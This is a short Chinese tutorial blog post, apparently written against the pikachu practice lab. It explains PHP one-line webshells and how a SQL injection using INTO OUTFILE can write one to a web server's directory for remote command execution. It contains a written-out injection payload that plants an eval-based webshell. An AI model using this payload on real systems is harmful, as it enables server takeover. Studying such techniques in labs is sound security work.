sql-inject 通过一句话木马对服务器进行远程控制

本文探讨了一句话木马的概念,它是如何利用编程语言执行操作系统命令的。接着,通过SQL注入漏洞,解释了如何将恶意代码写入服务器,并利用into outfile方法在满足特定条件时执行。通过实例展示了在成功注入后,如何远程控制服务器执行命令。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.一句话木马
说简单点,它就是利用各种语言提供的用来执行操作系统命令的函数去构造一个简单的木马程序,我们可以把这个函数直接写到一个文件里去,通过对这个文件的访问,去执行这个函数,向这个函数去传入我们想要进行的操作,这个函数会被执行,然后执行我们想要的操作
在这里插入图片描述
2.通过SQL Inject漏洞写入恶意代码
我们可以利用into oufile来传入我们的木马,但并不是很容易就可以传进去的,它是有前提条件的
在这里插入图片描述
在满足前提条件的情况下,我们可以开始测试,我们仍然来到pikachu的字符型注入
payload:kobe' union select "<?php @eval($_GET['test'])?.",2 into outfile "/var/www/html/1.php"#
如果我们没有在数据库中关闭这个选项,就会出现这个情况
在这里插入图片描述
如果我们满足了所有条件的话,页面会这样显示
在这里插入图片描述
我们不用在意这些,现在可以访问一下我们刚放进去的东西

在这里插入图片描述
远程的命令执行是一样的
在这里插入图片描述
提交完后直接访问一下,之后我们就可以实现远程控制命令执行了
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值